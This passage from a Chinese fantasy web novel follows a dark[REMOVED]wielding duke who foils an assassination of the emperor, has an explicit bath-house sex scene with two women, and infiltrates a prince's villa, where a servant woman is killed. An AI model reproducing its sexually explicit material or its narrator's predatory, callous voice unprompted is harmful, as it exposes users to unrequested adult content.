《暗黑传说》
类别:奇幻魔法
作者:水舞红枫
第三卷翻云覆雨
第一章幽灵忍者
月明星稀的夜。
凉爽的风含着深秋的萧索吹拂过重重宫阙,摇曳无数灯火。
我在一名圣殿骑士团统领的引领下进行上任后的第一次巡夜,身后是执着火把的一队金甲卫士。
每名圣殿骑士团的战士都精神抖擞的守卫在各自的哨岗上,即使是一只蚊子飞过也休想逃过他们警觉的眼睛。
帝国第一雄师,并非浪得虚名。
虽然近十年他们从未驰骋在沙场上,但是依旧没有人敢怀疑这五千人足以胜过数万的大军。
那个名叫墨非里的统领一面在前方引路,一面小声向我介绍所到之处的情况,使得我对偌大的皇宫渐渐有了初步的了解。
穿过一条冗长的走廊,墨非里用手一指正前方的庭园低声道:“公爵大人,这就是皇宫中最大的一座庭园——'听雪苑',眼下陛下正在苑中的'闻香亭'里召见来自西疆的奥里傲公爵。”
我迈步走入听雪苑,一股幽雅沁人的淡淡花香飘进我的鼻孔,心神为之一爽。
亭台楼阁,繁花异树,这里的景緻比之叠翠苑也毫不逊色。当然,从这里俯瞰的不再是水镜湖,而是整个夕兰大陆。
苑中寂静清幽,只能听见各种昆虫清越的低鸣和我们的靴子踩在泥地上发出的沙沙声。
藉着火把和月色,我的目光穿越沉睡里的树梢,望见远处的闻香亭。
嘉修陛下正悠然坐在亭中,一名满身戎装的中年男子恭敬的陪坐在一旁。
无可否认,嘉修陛下是一个勤勉的君主,同时也拥有着远比常人旺盛的精力——即使是整个蒙思顿的重量也无法压垮他挺直的脊梁。
我朝闻香亭走去,远远侍立在亭外的一名皇宫侍从官认出了我,脸上立刻浮现笑容道:“修岚公爵,今晚是您在巡夜?”
我点头道:“陛下还没有休息?”
那侍从官苦笑道:“陛下正在召见奥里傲公爵,稍后还要听取欧特殿下关于寿诞庆典的计划安排。”
一阵夜风吹起,那侍从官微微一颤道:“快到冬天,这风吹在身上也有些凉了。”
我的心头一紧,突然泛起莫名的警兆。
那是一股淡淡的杀气,隐藏在风中飘散而来的杀气。
可奇怪的是我完全觉察不到杀气的来源,也感觉不到刺客的存在。
这是没有道理的事情,我体内的暗黑能量迅速被唤起,灵觉的触角延伸向黑暗中的每个角落。
我相信自己的感觉,附近一定有刺客的存在,而且目标一定是亭中的嘉修陛下。
然而他(们)藏匿在哪里?
又是如何躲避过森严的警卫,潜入到听雪苑中?
蓦然,我的眼睛一亮,鹰隼般的目光凝视在闻香亭外鬆软的草地上。
我的灵觉彷彿感受到来自泥土中的骚动与不安,还有一种莫名的烦躁。
原来是在这里,地下!
“修岚公爵,您怎么了?”那侍从官觉察到我的异样,奇怪的问道。
我一把推开他,沉声道:“闪开!”
“公爵,您不能过去,”侍从官见我大步走向闻香亭,急忙道:“陛下正在召见奥里傲公爵,您不能打扰。”
“铿!”
两把长戈交击在我面前,拦住我的去路。
侍从官身后的一名圣殿骑士团小队长恭声道:“对不起,公爵。没有陛下的旨意我不能放您进入亭中。”
“混蛋,”我的眼中寒芒一闪,令他们不由自主的一颤。
“滚开!”
我低声呵斥道,双手挥开架在我面前的长戈。
异变突起。
一股阴冷的风不期迩来,亭中的风灯猛然剧烈的晃动,好像随时都会熄灭。
亭外的草地里不可思议的冒起四道墨绿色的雾状身影,在空气中迅速凝聚成人形。
他们的身躯只有常人的一半高,赤裸的肌肤呈现诡异的绿色,隐隐闪烁着磷光。由于背对着我,无法看清他们的面目,但是从他们身上散发的浓郁杀气却让我十分不舒服。
是幽灵族的忍者。
我的脑海里立刻闪现过他们的来历与身份,就好像是早就埋藏在我记忆中直到此刻被唤醒一般。
传说中最恐怖的杀手,夕兰大陆魔族中最诡异的幽灵族。
“忽——”
四道身影在空中毫无凝滞下沉的迹象,像风一样扑向亭中。
“有刺客!”
我厉声喝道,而旁边的金甲卫士们或是尚没有发觉,或是被眼前诡异的一幕惊的目瞪口呆,不知所措。
奥里傲公爵第一个觉醒,他怒叱一声,跃起庞大的身躯遮挡在嘉修陛下身前。
由于佩剑在觐见时被解下,情急之下他惟有空手迎敌。
“轰——”
奥里傲公爵的铁拳激荡着威猛无伦的罡风朝扑在最前面的一名幽灵忍者胸口轰去。
幽灵忍者的手中同样没有兵器,他们也从不携带任何兵器。
只有这样,他们才能够象游鱼一般自由的在地下遁行。
“嘭!”
那名幽灵忍者的双掌同时击在奥里傲公爵的铁拳上,激蕩的气流迫灭了亭中的四盏风灯。
奥里傲公爵的手上蓦然浮起一层半透明的墨绿色冰雾,身形也被迫后退了半步。他的脸上红光一闪,那层墨绿色的冰雾在瞬间被体内浑厚的内息化解消融,手又恢复常态。
而那名幽灵忍者的身影却像飞絮般朝后飘蕩,嘴中发出一声尖锐的怪叫,刚凝成人形的躯体被奥里傲公爵排山倒海的刚猛拳劲震散开来,犹如漂浮在夜色中的一团人形绿雾。
但是,很快他又重新凝聚,在空中恢复到先前的模样。
另外三名幽灵忍者却已乘机避过奥里傲公爵的阻击,各自张开狰狞的十指,闪耀着磷光的细长指甲彷彿匕首插向嘉修陛下。
“噌!”
闻香亭中亮起一道绚烂耀眼的剑光,那个神秘的圣殿高手终于在最关键的时刻出现。
他的剑刃上流动着深蓝色的光芒,竟然是传说中的风系圣剑“吹雪”!
一蓬暗绿色的血雨迸散,两名幽灵忍者厉声尖叫而退,他们各自的右爪在剎那中已被吹雪凌空截落,化作一团妖豔的冰雾。
但还是有一名幽灵忍者躲过了圣殿高手的拦截,他应该是四人中实力最强的一名,邪异的左爪距离嘉修陛下的面庞已不到半米!
奇怪的是嘉修陛下的神色中没有丝毫的慌张,他炯炯有神的目光利剑一般凝视着扑来的幽灵忍者,却依旧岿然不动。
“沉默之诅咒!”
已容不得多想,我心念一动间一道暗系上级魔法迸射而出。
我必须保住嘉修陛下。
如果他死了,我将失去在帝国最大的依靠,这在我掌握实权以前是绝对不能发生的事情!
正当幽灵忍者的手爪要碰触到嘉修陛下的面庞时,一团几乎无法察觉的黑色暗光已击中那名幽灵忍者的背心。
他的躯体突然无声无息的爆裂开来,墨绿色的雾气无助的朝四周飘散,再无法凝聚,瞬间便幻灭在黑夜里。
我的身影却宛如一头迅捷的雄鹰,已闪到那名被奥里傲公爵击退的幽灵忍者身后。
那名幽灵忍者此刻正準备再次扑向闻香亭中,却猛然觉察到背后从我身体里散发出的惊人杀气与庞大的暗黑能量。
他在空中惊恐的回头,于是我第一次看清幽灵忍者的脸。
他们同人类一样拥有完整的五官,只是要小很多,且没有眉毛和头髮。
他的眼睛里闪耀着邪异的暗绿色微光,可惜现在射出的全是惊骇神情。
我心境如冰,毫无怜悯不忍之情,对他轻轻道:“去死吧。”
催心裂肺的暗黑能量顺着我的手掌印在他的背脊上透体而入。
“轰——”
他的身体像刚才那名幽灵忍者一般炸裂开来,消失的无影无踪。
并非他们的实力不济,从他们的身手来看至少已具备了人类红衣骑士的水準。
但是前者根本没有料到我居然施展出暗黑魔法,而后者纯粹是被我偷袭。
仓促无备的情况下他们被我轻而易举的解决。
这一连串兔起鹕落的情形若在后世的史学家笔下或许要花费数千文字才能记述清楚,而若是换做所谓的小说家恐怕上万字洋洋洒洒也不够他们添油加醋之用。
然而当时,从幽灵刺客出现到我击毙其中两人,中间的过程不过是眨眼的工夫而已。
一切在电光石火中发生,也在电光石火中结束。
剩下的两名幽灵忍者右腕已断,知事不可为,迅速在空中调转身形朝亭外的草地中钻去。
“截住他们!”
奥里傲公爵飞身跃出闻香亭大喝道。
密集的弓弦响动,周围的圣殿骑士团金甲卫士这才发动了第一轮的攻击。
并非他们的实力与反应太弱,只能说今晚聚集在闻香亭周围的无一不是高手,已经超出了他们的认知。
但是不可思议的事情接踵而至,数十枝羽箭竟然从幽灵忍者的躯体中穿越而过,却彷彿射中的是空气,不能伤害到他们分毫。
普通的物理攻击对于幽灵族是没有用处的。
他们的机体完全不同于人类,也不同于夕兰大陆的其他各个种族。
金甲卫士们目瞪口呆,不知下一步该如何是好。
两名幽灵忍者的脑袋这时已经钻入草地,如果再不加拦截,很快便可藉着土遁脱身而逸。
我的心念急动,蓦然扬手一掌拍在草地上。
这一掌几乎没有在草地上造成任何的反应,甚至连人们以为会发出的撞击声响也没有,但是我体内的暗黑能量却像潮水一样涌出,向草地的四周扩散。
“疾!”
我低喝一声,两名幽灵忍者的身体突然停滞在草地上——他们胸口以上的部位已经钻入草地里,却还有大半截身躯裸露在外无法再移动一点。
我利用体内庞大的暗黑能量在草地上形成了一个小规模的魔法结界,原本鬆软的泥地此刻坚硬若铁,硬生生将两名幽灵忍者禁锢。
周围的人们顿时欢呼雀跃。
那名圣殿高手凌空射到,手中的吹雪闪电般掠过夜空,两个幽灵忍者瞬即身首异处,不久便化作墨绿色的雾气灰飞湮灭。
奥里傲公爵有些惋惜的道:“可惜没有留一个活口。”
我徐徐收回右掌,调匀略微急促的呼吸,耳中听到那名圣殿高手关切的问道:“修岚公爵,您没有事吧?”
我朝他摇摇头,刚才的时间虽短,但要在方圆十多米的泥土中依靠自身的暗黑能量建立一个结界,消耗远超出常人想像。如果那名圣殿高手下手稍微迟疑,或许就要被幽灵忍者挣脱,毕竟对方也不是弱者。
“陛下!”
奥里傲公爵恭敬的叫道,在一群金甲卫士的簇拥下嘉修陛下神色镇定的走来。
“谢谢你,普奥。”嘉修陛下沉声对那名圣殿高手道谢说,而直到现在我才晓得了他的名字。
普奥略略恭身道:“陛下受惊了。”
嘉修陛下微笑摇头,目光转向我和奥里傲公爵道:“干的好,修岚、奥里傲公爵。”
奥里傲公爵赶紧低头道:“臣愿竭尽所能,为陛下效忠!”
“父皇!”
闻讯而来的欧特皇子急匆匆的在远处叫道:“您没有事吧?”
“我没什么,”嘉修陛下淡然回答。
欧特走到嘉修陛下面前,一脸关切的道:“我正在苑外等候父皇召见,听到您遇刺的消息便立刻赶来。看见父皇安然无恙,实在是太好了。”
嘉修陛下从容道:“不过是几个刺客,没有什么大不了。”
“修岚公爵,”欧特的脸转向我时立刻换了一副严肃模样,兴师问罪道:“今晚是你巡夜?”
“是我,殿下。”我漠然答道,心中已经明白他下面想说什么。
果然,欧特皇子神色凛然的斥责道:“你第一天巡夜怎么就出了这么大篓子?居然让几个刺客惊动了父皇,若万一有什么意外,怕十个修岚公爵的脑袋也折抵不起。”
嘉修陛下摇手道:“欧特,不要责怪修岚公爵。今晚行刺的是幽灵族忍者,即使再严密的戒备也无法阻止他们从地下潜入。好在他们无法穿越金属和大理石这些质地坚硬的东西,否则半夜里从我的卧室里冒出来才是真的麻烦。”
欧特皇子脸色一变道:“幽灵忍者?他们为什么要行刺父皇?”
奥里傲公爵哼道:“幽灵族是北方联盟的一支,这次行动背后也定然是北方联盟的指使。”
欧特疑惑的问道:“可是北方联盟行刺父皇又有什么好处?”这句话刚落下,他似乎也想通了其中关键,急忙噤口不言。
而其他人早就明白北方联盟的意图——倘若嘉修陛下遇刺身亡,三位皇子之间为了帝位势必要引起一场皇室内讧,一直对帝国虎视眈眈的北方联盟到时候自然可坐收鱼翁之利。
“约翰,”嘉修陛下吩咐身旁的侍从官道:“立刻传我的旨意给奥修马公爵,即刻加强对圣殿城的警戒盘查,决不放过一丝可疑之处。尤其对外国使节和各地前来朝贺的要员必须严加保护,不得有一点差错出现。”
约翰侍从官急忙领命而去,将嘉修陛下的旨意传达给负责帝都防务的奥修马公爵。
“父皇,是否要搜索一下皇宫,看看有没有幽灵族忍者的余党?”欧特皇子问道。
“不用了,”嘉修陛下道:“你不是要向我汇报庆典的事情么,我们回书房谈。”
“是,父皇!”
“修岚公爵,”嘉修陛下忽然唤我道:“明天下午我要到湖边垂钓,你也来陪我。”
“是,陛下。”
我微微一怔,回答道。
月色中,嘉修陛下在众人的簇拥保护下渐行渐远。
苑中又恢复宁静,朦胧的雾气轻轻笼罩在树梢,好像什么事也没有发生过。
第二章佳人有约
晨曦微露,我回到叠翠苑。
刚下马,罗伊便一脸神秘的道:“主人,有一位客人在客厅里等候您多时了。”
“是谁?”
“她不肯说,不过长的倒是很漂亮。”
我一怔,走进客厅。
“修岚!”
翡雅像一团灼热的火焰立刻扑进我的怀里,欣喜的道:“你终于回来了,没有你的晚上我怎么也睡不着,都是你不好。”
“有人要见我?”我拥着她温暖柔软的娇躯问道。
“就是她啦,”翡雅不屑的撇撇嘴道:“天没亮就来找男人,真不知羞。”
顺着翡雅的目光,我看见正坐在客厅中的嘉奈莉。
“修岚公爵,”嘉奈莉起身唤我道。
“是你?”
嘉奈莉幽怨的望我一眼,轻轻道:“自从上次香舫一别,人家已经有许多天没有见到您,难以按耐心中相思之情,只好放下羞耻之心登门拜访了。”
翡雅叫道:“这样的话你也说的出口,真不害臊。”
嘉奈莉玉颊一红,徐徐垂下了头。
我的心中一谔,没有料到外表冷漠的她居然也会如此热烈奔放。
但是当我的视线凝视她的眼睛时,却发觉她在不经意中躲避着我的目光,是害羞还是害怕?
我若无其事的道:“你跟我来。”
翡雅立即叫道:“修岚,我也要去。”
我盯了翡雅一眼,这个娇憨的少女一旦醋劲起来也颇为可观。
“你要跟着我,你知道我是去什么地方?”
“不知道,”翡雅被我的眼神盯的一颤,却依旧倔强的道:“可我就是要跟着,不管是到哪里。”
我穿过客厅,冷冷道:“我要去澡房,你跟着吧。”
翡雅一怔,脸上顿时晕红一片,看着嘉奈莉随着我走进后厅,猛一跺脚道:“跟就跟着,有什么了不起?”
客厅里只留着罗伊呆呆站立,心中羡慕不已的望着我的背影。
我走进澡房,侍女早按照我昨日的吩咐準备妥当,热腾腾的洗澡水冒着雾濛濛的蒸汽,瀰漫在屋子里。
两名侍女正要服侍我宽衣,嘉奈莉却红着脸轻声道:“修岚公爵,让我服侍您吧。”
我点点头,吩咐两名侍女出去。
门被关上,偌大的澡房里就剩下我们三个人。嘉奈莉温柔细緻的为我截解下盔甲佩剑,我强健而充满男人魅力的身体逐渐呈露,她的呼吸不禁渐渐急促起来。
翡雅站在一边起先呆呆的盯着嘉奈莉,后来一咬牙道:“我的男人要你服侍么?”
她强忍不可掩饰的娇羞,走到我身后替我脱下贴身的内衣。
我走进浴池,把全身浸泡在舒适的热水中,一种沁入心髓的舒畅感觉彷彿将我昨晚的疲惫一扫而空。
我望着池边的二女道:“你们还怔着干什么,快下来。”
嘉奈莉的目光扫过我裸露在水面外的强劲胸肌,美目中焕发出惊心动魄的神采,驯服的解开衣裳,将她美绝人寰的胴体完全展露在我眼前。
她玉脂般柔滑的肌肤此刻隐隐流动着一抹晕红,更增娇豔,令我的心头也不禁一热。
嘉奈莉嘤咛一声,抬起修长的美腿缓缓走进池中,却被我一把搂过痛吻起来。
两人的身体在水中毫无保留的紧贴在一起,不断碰撞出激情四溢的火花。
我直把嘉奈莉吻到几乎窒息才心满意足的放过她,抬头对池边的翡雅道:“如果你不愿意下来陪我,现在就可以出去。我不希望自己洗澡时候有别人站在一边欣赏。”
翡雅犹豫一会,猛然褪下薄薄的睡衣,装作满不在乎的模样道:“下来就下来,我绝对不会输给她的!”
于是,在温热的池水里二女争相向我献宠,竭尽所能施展各自的招数取悦于我。尤其是翡雅,往日许多她羞于做的事情此时为了不输于嘉奈莉也一一使出,而嘉奈莉自幼经受的专门调教亦令我大开眼界。
池水不断的升温,我终于将两名娇豔无伦的美丽少女一一佔有,享受着人类情感最浓郁的颠峰。
周而复始,我不停的将她们推向高潮,她们也用尽全身气力来热烈回应。彷彿是在悄悄的竞赛,翡雅与嘉奈莉谁也不肯先败下阵来,暗暗的较劲。
看来,即使是女人,同样也不愿意在这方面轻易认输。
不知过了多久,翡雅终于支持不住,精疲力竭却又无限满足的伏在池边细细娇喘。嘉奈莉却依然勉力支撑,在我的躯体下婉转呻吟,热情迎合。
最终,我将浓烈的慾念全数倾泻进她火热的胴体中。嘉奈莉声嘶力竭的哭叫着,宣洩体内充盈的兴奋与刺激。
她像一团柔絮般倒在我怀里,只懂得拼命的喘息,眼角旁闪烁的晶莹水光也不知道是满足后的泪水还是蒸汽?
我伏在她的耳边,逐渐恢复平静,一手抚摩着她柔若无骨的腰肢一边低声问道:“说吧,你找我究竟有什么事情?”
嘉奈莉娇躯一颤,幽幽望了我一眼,低声道:“你是怎么知道我找你还有其他的事情?”
我漠然道:“不必问为什么,快说吧。”
她徐徐垂下头,幽然道:“不要用这种吓人的眼光盯着人家好么?其实我是真的很想你,否则也就不会跟着你到这儿来,又做出那么多平日里死也不愿意做的事情来。”
她歇了歇,压低嗓音道:“是安姬思小姐命我来找您,她想立刻见您。”
我一震,原来嘉奈莉是天宗的人。不过这也毫不奇怪,安姬思曾经说过,天宗的势力渗透到各个阶层角落,香舫这种信息灵通的风月场所自然也不会放过。
“她找我作什么?”我冷冷问道。
嘉奈莉轻轻道:“具体我也不清楚,不过安姬思小姐说只要告诉您她找您是为了关于黑旗团团长查戈的事情,您一定会感兴趣。”
“查戈?”我心中的震谔无法形容,徐徐吸了一口气道:“他没有死?”
嘉奈莉摇摇头道:“小姐说他已经发现了查戈的踪迹。”
“在哪里?”
“小姐没有告诉我。”
我从池水中站立起身体,沉声道:“好,你现在就带我去见她。”
如果安姬思没有欺骗我,查戈果真没有死,那么我会毫不犹豫的用利剑穿透他的心脏。
我忘记不了戈壁中宛如梦魇的一幕,我要全数奉还给他。
“修岚,你要到哪里去?”翡雅听到我的话急忙问道。
“你不用多管,”我不耐烦的道:“乖乖待在家里就是了。”
翡雅眼圈一红,泫然欲滴道:“你,你是不是不喜欢我了?”
我一怔问:“为什么?”
翡雅幽怨的望了嘉奈莉一眼,低声道:“刚才人家输给了她,所以你就——”
我不知为何叹了口气道:“你胡思乱想什么,我有要紧的事情必须立刻去做,和你没关係。”
“真的?”翡雅的眼睛立刻恢复了神采。
“我没心情骗你玩。”
翡雅笑意盈盈的从水中站起,凝满水珠的酥胸肉光莹莹,丝毫不逊色于安鹭笛的丰乳。在我的滋润下,她的成长惊人,已不再是那个初次见面时的青涩少女,全身都散发着迷人的成熟风韵。
“修岚,让我伺候你穿衣吧。”她在我耳边腻声道,火热的小手扶上我的虎腰。
“修岚公爵,真没有想到我们这么快又见面了。”
在嘉奈莉的香阁中,安姬思悠然自得坐在临窗的椅子里,享受着早晨的阳光。
“安姬思小姐,似乎你每次约我的方式都别开生面,不知道下一回你又会用什么方法?”
安姬思淡然一笑道:“能令修岚公爵也感到别开生面真是我的荣幸,不过为了掩人耳目避免为修岚公爵带来不必要的麻烦,我也只好如此了。”
我哼了一声道:“说吧,查戈在哪里?”
“在一个你绝对猜想不到的地方,”安姬思徐徐道:“如果不是他又耐不住寂寞偷偷命人替他召妓,恐怕直到现在也没有人知道他还活着。”
“他真的没有死?”
“虽然没有死,不过模样也很惨,至少一条手臂是没有了。”
我深深吸一口气,虽然表面依旧不动声色,心中却在高速运转。
查戈没有死,他很可能目睹了我发动灭寂之暗的一幕,那么对于我的真实实力自然也已了然。
没有想到,居然有这么多人在灭寂之暗中倖存下来,这当然不是这道暗黑终极魔法的威力问题,而是我的暗黑能量远远还没有达到颠峰境界。
不过就是这样,我依旧有足够的把握在一对一的情况下将查戈杀死。
“他究竟在什么地方?”
“你真的想找到他,甚至不怕这是一个陷阱,修岚公爵?”
我冷冷望着安姬思举世无双的绝美容颜,沉声道:“我不管你为什么愿意告诉我查戈的下落,我只要找到他。”
安姬思从容淡泊的说道:“我听出你语气里隐藏着的杀意,看来你对他的确恨之入骨。不过我依然必须提醒你,查戈或许不可怕,但因此而招惹了他身后的人,麻烦也许比你想像的要大许多。”
我微微冷笑,那个躲藏在黑旗团背后的黑手终于要浮出水面了。
“安姬思,我是为查戈而来,并不是想听这些无聊的废话。”
安姬思并没有恼怒,悠然起身朝门外侍立的嘉奈莉吩咐道:“嘉奈莉,把你的马车借给我和修岚公爵用一用,我要陪公爵到城外走一遭。”
凭藉嘉奈莉和她的专用马车掩护,我与安姬思顺利出城。虽然近日圣殿城各处都加紧了盘查,但是对于嘉奈莉的马车,把守城门的士兵只是像徵性朝里面瞄了一眼而已。
他们看到的当然是嘉奈莉冷漠孤傲的玉容,而我和安姬思则藏身在车厢椅座的后面。
这是我第一次与安姬思依靠的这么近,她好像并不习惯与一个男人近距离的贴在一起,努力的将娇躯后仰。可惜椅座后的空间实在太小,她柔软丰满的肌肤依然不时随着马车的颠簸摩擦在我的身上。
一股淡淡的迷人处女幽香不断窜进我的鼻孔,她秀长的髮丝沾到了我的脸上带来微微的瘙痒。
我发觉她她原本淡然自若,冷艳妖异的秀容上渐渐升起一抹红晕,看来即使是天宗的宗主毕竟也只是一个女人而已。
当然,我不会小看她,更不会放鬆对她的警惕。如果她真的是藉查戈来欺骗陷害我,我会在第一时间不择一切手段将她杀死。
儘管她的美丽令我心动,但也绝不能让我完全沉醉迷失。
忽然,我听见坐在前面椅子上的嘉奈莉回头低声道:“小姐,修岚公爵,做好準备前面就到了。”
安姬思伸出一根修长白皙的葱指,在椅背上的浮雕上轻轻一按,一道光线透进马车,我身旁的车厢侧壁上徐徐开启了一道暗门。
“跳!”
安姬思低声道,我毫不犹豫跃身而出,在道路旁的草丛里顺势翻滚几圈站了起来。
安姬思这时也从不远处起身,而嘉奈莉的马车却丝毫没有停留继续顺着山道朝前方缓缓驶去。
“这是什么地方?”我环顾周围青翠秀丽的丘陵,转头问道。
安姬思冷静的回答道:“这里是圣殿城西南二十里的莫桑所山,亚丁皇子有一座别府便修筑在山顶上。”
“是亚丁?”我的瞳孔收缩,体内的暗黑能量愤怒的咆哮奔腾。
“我也是刚刚通过这件事情才知道,看来查戈背后真正的主使并非马斯廷皇子,而是行事一向低调的亚丁。知道么,我一直都在怀疑亚丁皇子和查戈与魔门山宗有着密切的关联,可惜从查戈身上一直没有察出破绽。”
“山宗?”我忍不住惊讶的低声道:“你说亚丁居然也会和山宗有牵连?”
“我们和山宗、海宗的争斗甚至超过对圣殿的仇恨,因此任何关于这两宗的蛛丝马迹都逃不过我的眼睛。如果能够证实亚丁皇子与山宗真有密切关联,我们天宗的处境将更加危险。”
我已经明白安姬思为什么愿意提供查戈的下落,甚至亲自陪我潜入亚丁皇子的别府。
说到底,她也是在利用我对付山宗。
安姬思一边引我抄着僻静的小路潜行上山,一面低声说道:“查戈躲在这里应该有一段时日,他被藏在别府花园的假山密室里。不过,也许时间长了产生麻痺,现在他经常会偷偷溜出密室。别府里都是亚丁皇子的心腹,如果不是查戈色欲熏心,恐怕谁也无法知道他竟然藏在这儿。”
“他为什么不杀死那个妓女?”我问道,以查戈的心狠手辣这样的事情本算正常。
安姬思冷冷哼了一声道:“被他召来的是香舫八艳中的婉怜杉,一方面查戈沉湎于她的美色不能自拔,另一方面惟恐杀死她反引来别人注意,再加上他以为婉怜杉只是普通妓女,根本不可能认出他的身份,故而才会出此纰漏。”
我心中泛起不屑的冷笑,查戈毕竟成不了气候,仅凭这一点就可以看出。
“到了,”安姬思忽然停下脚步伏身在冗长的草丛中低声说道。
前方两百多米开外,一座景緻幽雅的别府山庄静静伫立,依稀可以看见从围墙里透出的屋檐飞宇。
我和她藉着草木的遮掩避开警卫的目光,悄悄靠近到一处僻静的墙角下。
对于一般人来说,夜晚或许才是最适宜的时间,但对于像我和安姬思这样的高手,白天与黑夜的区别已经不大。
“我先进去,”安姬思道:“里面应该是别府的一处院落,平时用以接待宾客,如今正空着。”
我毫不奇怪她能够对亚丁皇子别府的情形了如指掌,以天宗的实力搞到一副别府的地图根本不是太困难的事。
安姬思的身躯蓦然像一朵云絮冉冉漂浮起来,空中的姿态优雅从容,却又透着一丝诡异。
我知道,这是天宗的漂浮魔法,一般的巫师也能够运用。但是要像她这样连咒语也不需要念动,且体态轻盈自然毫无声息却绝非易事。
她终于在我的面前第一次稍稍展露真实的实力。
当安姬思飘逸轻灵的身影消失在围墙上,我也轻捷的翻越而过。
里面是一个寂静无人的小院落,此时显得分外冷清。
安姬思站在我身旁低声道:“出了这个院落,再穿过一排佣人的工房便是查戈所在的花园,白天他应该就躲在密室里。”
我默默无语,嘴角却逸出一抹充满杀意的冷笑。
查戈,上一次幸运的逃脱灭寂之暗,但是这一回绝不会再有同样的幸运。
即使你的背后是亚丁皇子的庇护,也依旧无法阻挡我必杀的信念。
第三章水落石出
也许是根本料想不到会有人敢在白天潜入别府,山庄的戒备并没有我们想像中的严密。凭藉我和安姬思超乎寻常的灵觉,我们顺利的避开别府中的守卫进入花园。
唯一一次劳动安姬思出手的不过是在一道走廊前施展了暗黑魔法中的迷幻术,将侍立在那里的两名金甲卫士略略迷昏须臾,当他们感觉脑子莫名其妙的一眩时,我和安姬思已经悄然侧身而过。
我们无惊无险的潜到假山下,将身体藏匿在浓密的花丛中仔细搜索山壁上的机关。
花园中空无一人,这个时候似乎所有人都在各自忙碌,完全没有空闲到这儿来歇息赏玩。何况亚丁皇子不在,普通的佣人和部属又怎么敢随便接近这里?想来亚丁为了保证查戈的踪迹不被洩露必然下过类似的命令禁止旁人随意进入花园。
安姬思打量了片刻,终于轻轻伸手在一块凸起的褚红色岩石上一按一拧,黑漆漆的假山洞中微微传来声响。
“在这里了,”安姬思轻声道,轻盈的娇躯迅捷掠入假山洞中,我也毫不迟疑的跟了进去。
藉着洞外射入的阳光,依稀可以看见原本是假山壁的洞沿上赫然出现一道狭窄的暗门,里面漆黑一团深不见底。
“幸好婉怜杉模糊记得查戈开启暗门的方法,否则真要费一点周折。”安姬思轻轻说道,小心翼翼的走进暗门。
婉怜杉应该给安姬思介绍过密室的情况,知道暗门后面是一段直通地下的狭长通道,故此她并不担心被里面的查戈发觉,悄然沿着隧道前行。
那道暗门此刻自动的关闭,彻底隔绝外面的阳光。
我们悄无声息的拾阶而下,转过一道弯后前面亮起一团昏黄的灯光,是一盏悬在壁顶的油灯。
我们的面前豁然开朗,这个阴森狭长的通道后面居然别有洞天。
首先进入视线的是一间宽敞的石屋,好像寻常府邸中的客厅,里面的装饰简洁雅緻,显示出主人的匠心。
进来这么长工夫,我丝毫没有感觉到呼吸不畅,想来这密室中必然安置了完备的通风系统,否则绝不至于再点燃油灯耗损有限的空气。
客厅中共有三道石门,其中两道虚掩着,而紧闭的那扇石门背后却隐隐传来男女的喘息和呻吟。
查戈此刻或许正在里面翻云覆雨,享受他人生最后一次快乐。
我走到石门前,安姬思在我身旁用极轻的声音道:“一会儿不要急于杀死他,看看还能问出些什么。”
我点点头,探手推动石门,它却纹丝不动。
“应该是里面反锁了,”安姬思低声说道:“不如等一会儿,他终究要出来。”
我哼了一声,如果不是为了避免发出过于惊人的声响动静,我会毫不犹豫的利用暗黑能量震碎眼前的石门。
我和安姬思在客厅中默然守侯,却觉得时间一分一秒流逝的异常缓慢。想到嘉修陛下下午的邀约,如果查戈再不开门我只有冒险硬闯了。
石屋中寂静无声,惟有里面不断传来查戈和那女子兴奋的呼叫呻吟,安姬思若无其事的依靠在石门旁的岩壁上,绝美的容颜隐约流露出一股凛然的杀意。
光凭查戈居然令她空守在门外聆听淫蕩的靡靡之音,已足以令安姬思动了杀机。
魔门的人杀人从来不需要理由,他们追求的永远是率性而为,不被世情伦理羁束。只要心情不爽一样可以杀人,何况面前的是天宗宗主?
蓦然我心头一动,目光闪电般射向洞口。
安姬思也若有所觉,神色一动道:“有人。”
我点点头,眼角余光扫到一旁的两扇虚掩石门,用手一指。
安姬思心领神会,飘然推开左边的石门却很快又重新合上,显然里面并不适合躲藏。
她的动作毫不停顿,又推开右手的石门,扫视一圈后回身朝我微微招手,自己先进了去。
我迅速跟进,反手将石门轻轻掩上。
里面的洞顶上同样亮着一盏油灯,偌大的屋子里堆放的全是食物和各类兵器装备。
安姬思隐身在角落里的一排酒桶之后,朝我低声道:“到这儿来。”
我敏捷的跃过酒桶藏到她的身旁,然后将覆在其上的油布重新放下,里面顿时一片黑暗,只有她的娇躯若即若离的贴在我身旁。
“隔壁是一间书房,亚丁的机密文件应该全部收藏在那里,不过我们不能躲在那儿。”
我讚许的点点头,安姬思果然拥有敏捷出众的才智——如果来的人是亚丁皇子,稍后他很可能会和查戈到书房中密谈,倘若我们躲在那儿,届时势必会被发觉。
屋外传来脚步响动,虽然十分的细微却无法瞒过我们的灵觉。甚至从脚步的频率和分量上,我可以辨别出进来的是三个人。
我和安姬思各自收敛体内的生命迹象,包括呼吸,就宛如石像般。
“查戈!”
外面响起亚丁皇子低沉嘶哑的嗓音,一阵沉默后隐约传来石门打开的声音,然后是查戈诧异的问道:“亚丁殿下,怎么是您来了?”
我的心中忍不住泛起浓烈的杀机,但清楚现在绝对不适宜动手,惟有苦苦忍耐。
亚丁哼了声,似乎是看见查戈屋子里的女人,隐含怒意的道:“我让你不要到外面召妓,你就乾脆把别府的侍女弄上床。万一走露了风声,我们这些人就全部完蛋,你知不知道?”
查戈尴尬的笑道:“殿下,我只是憋的太无聊了想找人玩玩而已。”
亚丁冷然道:“朴施卡,替我解决了那个女人,小心不要见血,我不想弄髒这块地方。”
隔壁的屋子里响起那个女子惊恐的叫声和哀求,但瞬即消失,显然朴施卡已经解决了她。
而我的脑海中也终于同时想起朴施卡的身份——奥马修公爵的副手,帝都御林军团的副都督,号称“噬血之狼”的朴施卡侯爵。
他和亚丁皇子来到这里干什么,另一个没有出声的又是谁?
查戈惋惜的咂嘴道:“可惜,挺漂亮的一个女孩子。”
亚丁皇子冷笑道:“等我们的大事成功,就是镜月公主也可以一样给你享用,这个女人又算的了什么?”
我的心头一震,隐隐感觉到他们正在密谋的“大事”绝非想像中那么简单。
外面的四个人脚步响动,似乎走进了书房,但是没有关门——显然他们根本想不到这里面居然还有其他人。
查戈语气兴奋的道:“是不是都準备妥当了?”
儘管他们的声音是从另外一间屋子里传来,又有石门的阻隔,但是对于我来说依然可以清晰的听见。
但是我不敢动用灵觉潜入书房探察,惟恐惊觉到屋子里的人。
也是他们对于这间密室过于有把握,完全料不到还有其他人能够偷偷潜入,故此全然没有提防,否则也难说我们不被发现。
